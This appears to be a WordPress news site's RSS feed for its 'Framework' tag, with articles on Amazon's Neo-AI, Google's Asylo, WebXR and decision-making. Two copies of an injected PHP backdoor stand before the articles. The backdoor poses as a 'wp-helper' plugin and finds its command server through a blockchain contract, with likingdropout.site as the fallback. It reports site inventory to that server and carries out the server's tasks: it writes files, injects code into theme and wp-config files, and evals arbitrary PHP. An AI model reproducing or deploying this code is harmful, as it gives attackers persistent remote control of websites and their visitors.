// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Framework – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 24 Jan 2019 15:51:12 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.6 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Framework – Brief News https://briefnews.eu 32 32 Amazon open-sources Neo-AI, a framework for optimizing AI models https://briefnews.eu/amazon-open-sources-neo-ai-a-framework-for-optimizing-ai-models/ https://briefnews.eu/amazon-open-sources-neo-ai-a-framework-for-optimizing-ai-models/#respond Thu, 24 Jan 2019 15:51:12 +0000 http://briefnews.eu/amazon-open-sources-neo-ai-a-framework-for-optimizing-ai-models/

Amazon has released Neo-AI in open source, a framework that makes it easier for developers to adapt machine learning models to different hardware platforms.Read More

]]> https://briefnews.eu/amazon-open-sources-neo-ai-a-framework-for-optimizing-ai-models/feed/ 0 Google releases open source framework for building “enclaved” apps for cloud https://briefnews.eu/google-releases-open-source-framework-for-building-enclaved-apps-for-cloud/ https://briefnews.eu/google-releases-open-source-framework-for-building-enclaved-apps-for-cloud/#respond Thu, 03 May 2018 21:59:04 +0000 http://briefnews.eu/google-releases-open-source-framework-for-building-enclaved-apps-for-cloud/

Enlarge (credit: Google)

Today, Google is releasing an open source framework for the development of “confidential computing” cloud applications—a software development kit that will allow developers to build secure applications that run across multiple cloud architectures even in shared (and not necessarily trusted) environments. The framework, called Asylo, is currently experimental but could eventually make it possible for developers to address some of the most basic concerns about running applications in any multi-tenant environment.

Container systems like Docker and Kubernetes are designed largely to allow untrusted applications to run without exposing the underlying operating system to badness. Asylo (Greek for “safe place”) aims to solve the opposite problem—allowing absolutely trusted applications to run “Trusted Execution Environments” (TEEs), which are specialized execution environments that act as enclaves and protect applications from attacks on the underlying platform they run on.

“The threats people are concerned about are things like rootkits or bootkits, things that hit the lower rings of the operating system stack,” said Rob Sadowski, Google’s Trust and Security marketing lead, in an interview with Ars. “And also, when you get into cloud or any shared infrastructure—virtualization on premises or in the cloud—you could have administrators or third parties who have access at these layers. So there’s always this tension where you have people asking, ‘How do I make sure I’m the only person who has access to any of this stuff?'”

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]]> https://briefnews.eu/google-releases-open-source-framework-for-building-enclaved-apps-for-cloud/feed/ 0 WebVR is becoming WebXR to make a simple, unified framework for all devices https://briefnews.eu/webvr-is-becoming-webxr-to-make-a-simple-unified-framework-for-all-devices/ https://briefnews.eu/webvr-is-becoming-webxr-to-make-a-simple-unified-framework-for-all-devices/#respond Fri, 02 Feb 2018 08:10:05 +0000 http://briefnews.eu/webvr-is-becoming-webxr-to-make-a-simple-unified-framework-for-all-devices/

GUEST:

WebVR being a game-changer for the VR industry is a message that I’ve been eager to spread for the past couple of years. The JavaScript API that enables you to load VR experiences on your browser enjoys all the benefits that the open web has to offer an emerging tech (like no friction or walled gardens) is in an interesting enough place that, even if there were no new developments, 2018 is already shaping up to be an amazing year for immersive browsing.

And yet within months the WebVR API will shift gears and become the WebXR API, a combined framework that welcomes WebAR into the family, and thereby allows developers to create immersive content that runs on all VR and AR devices. So, while the rest of the industry continually falls prey to fragmentation, this web-based standard offers us an alternative vision that unifies the entire spectrum of immersive computing.

In fact, it makes the immersive web inherently interoperable; a feat no other platform can even come close to imitating.

“AR and VR share many technologies, from spatial trackers to head-worn displays to interaction devices; from a purely technical standpoint, combining device support into one API will hopefully simplify both the implementation and the use of the API.” Blair MacIntyre, the principle research scientist in the emerging technologies group at Mozilla, told me. “The bigger significance is that by making one API, it is easier for developers to target the spectrum of ways their content can be experienced by users. A key characteristic of the web is that you can visit a web page from the device or browser of your choice, and have a reasonable expectation that you can access the content in some form.”

Above: Mozilla A-Painter on WebXR

Responsive across the full XR continuum

Developers can now look forward to creating a single web page, for example, that will be responsive across all platforms and devices, creating use cases that allow digital objects to spring in and out of virtual worlds and appear into the mixed realities that blend seamlessly into the real world. Content will shift back and forth between VR and AR and, naturally, the use cases are exceedingly broad, versatile, and invites developers to consider cross-device responsiveness from the outset in developing XR content.

“There are plenty of scenarios where it would make sense to have the application be responsive and go from an VR to an AR. Immediately I think of education, shopping and training scenarios.” Diego Gonzalez, a web advocate at Samsung Internet, told me. “Possibly the most important one being education, where objects can be in a virtual place and interact in a simulation with the user, and then they can be brought to the ‘real world’ to manipulate and take a closer look at. In this case the combination of being able to inspect something ‘onsite’ and then see how it behaves/operates in a different environment.”

Above: Moving and rotating a WebAR model using Google’s Article 3D model viewer

Brandon Jones, Chrome WebVR developer, describes it like this: “Today we tend to think of VR devices as headsets and AR devices as handheld phones, so I’ll use that for the example: VR is great at giving you a sense of scale relative to yourself, while today’s mobile AR is great at giving you a sense of scale relative to your environment. So imagine you’re looking for a piece of furniture or a TV or something similar for your home. An app built for both VR or AR could let you stand next to the object in VR, at the correct scale, to get a sense for how big it is. The AR side of it could then project that same object into your room to indicate it if will fit the space. Of course, the really exciting point will be when you can do both with a single headset, getting that personal sense of scale and grounding in your environment simultaneously.”

All the major browser vendors under one banner

Jones also co-chairs what has recently been renamed the Immersive Web Community Group, which was established under the W3C Community Groups organization in order to play the essential role of developing the WebXR API with the active participation of all the major browser vendors and the wider developer community. It brings all of the key players to the table so that they can work together in moving the standard through the W3C standards process.

“We’re talking it one step further, though, and working to establish the Immersive Web Community Group as an incubator for any standards related to how the web interacts with immersive computing. By encouraging any new immersive web features to be developed under the same banner we can ensure that those features complement and enhance one another.” Jones told me.

Above: Mozilla’s WebXR Viewer iOS app experiments

Image Credit: Tommy Palladino/Next Reality

The WebXR API should be made accessible to developers for early testing in Q1 2018, and you can be sure to expect to see increasing coverage as the months unfold and we inch closer to the standard becoming a stable browser feature. When it does make its public debut, you can bet that it will upset a lot of the market forecasts that have been crunched together by pundits who have assumed all along that VR and AR reflected two distinct and separate industries. It seems immersive computing was always destined to be a lot more mixed.

Amir-Esmaeil Bozorgzadeh is co-founder at Virtuleap, a sandbox for creative developers to showcase their WebVR concepts to the world, the host of the Global WebVR Hackathon, and the startup behind the Gaze-At-Ratio ad metric.

]]> https://briefnews.eu/webvr-is-becoming-webxr-to-make-a-simple-unified-framework-for-all-devices/feed/ 0 I’ve studied billionaires and interviewed neuroscientists, and I’ve created the ultimate framework for making better decisions https://briefnews.eu/ive-studied-billionaires-and-interviewed-neuroscientists-and-ive-created-the-ultimate-framework-for-making-better-decisions/ https://briefnews.eu/ive-studied-billionaires-and-interviewed-neuroscientists-and-ive-created-the-ultimate-framework-for-making-better-decisions/#respond Tue, 14 Nov 2017 15:18:19 +0000 http://briefnews.eu/ive-studied-billionaires-and-interviewed-neuroscientists-and-ive-created-the-ultimate-framework-for-making-better-decisions/ warren buffett bill gatesSpencer Platt/Getty Images

  • This post from Matt Bodnar originally appeared on Quora as an answer to the question “Which decision-making strategies yield the best results?“
  • Billionaires like Warren Buffett believe in the power of compounding knowledge through constantly learning and studying.
  • Charlie Munger believes that a successful entrepreneur needs to be multidisciplinary.
  • Successful people tend to use mental models, psychological concepts or tidbits of wisdom that in some way explains how the world works.

 

I’ve studied billionaires, talked with neuroscientists, psychologists, astronauts, and more — and from all of those conversations — I’ve put together a framework I call “the Art of Decision-making.”

The Art of Decision-making has 4 key components:

  • Harness the power of compounding by building on your knowledge and getting 1% smarter every day
  • Focus on and study things that don’t change or change very slowly over time — master the principles and you can invent the tactics
  • Follow the path of worldly wisdom and focus on acquiring multidisciplinary knowledge across academic disciplines like psychology, mathematics, and biology
  • Build a toolkit of mental models so that you can better understand reality and achieve your goals.

The more time and energy you invest in your decision-making ability, the more it continues to build and build on itself by harnessing the power of compounding

Becoming a master at the Art of Decision-making cascades through everything you do. It’s not incremental growth in your knowledge, it’s exponential growth. Einstein described the power of compounding as the “eight wonder of the world” — and if you’ve ever crunched some numbers on a compound interest calculator you know how powerful compounding can be over time.

If you get 1% better at thinking — at understanding how the world works, how human behavior works, how economic systems function, and understanding your own brain — that 1% improvement impacts everything you do. You’re not just going to benefit at work, but when you deal with your spouse, or negotiate the purchase of a new car, or decide where to invest your savings. You’re entire life is essentially a long chain of decisions.

These small incremental improvements in decision-making aren’t noticeable at first, but they eventually result in a huge transformation in how you think, act, and understand the world.

Here’s a quote from our dear friend Warren Buffett, when asked what the key to success was he pointed to a stack of books and said:

“Read 500 pages like this every day. That’s how knowledge works. It builds up, like compound interest. All of you can do it, but I guarantee not many of you will do it.”

charlie mungerNati Harnik/AP

Spend your time mastering the core principles that underpin psychology and human behavior, because those things never change

A key piece of building a compounding machine of knowledge — that over time will let you vault over almost everyone on the planet in terms of sheer brain power — is focusing on knowledge that doesn’t change or changes very slowly over time.

Many people focus their time and energy on learning rapidly changing tactics, the minutiae, highly specific actions and pieces of advice without a broader context. As Sun Tzu once said “tactics without strategy is the noise before defeat” and Ralph Waldo Emerson said:

“As to methods, there may be a million and then some, but principles are few. The man who grasps principles can successfully select his own methods. The man who tries methods, ignoring principles, is sure to have trouble.”

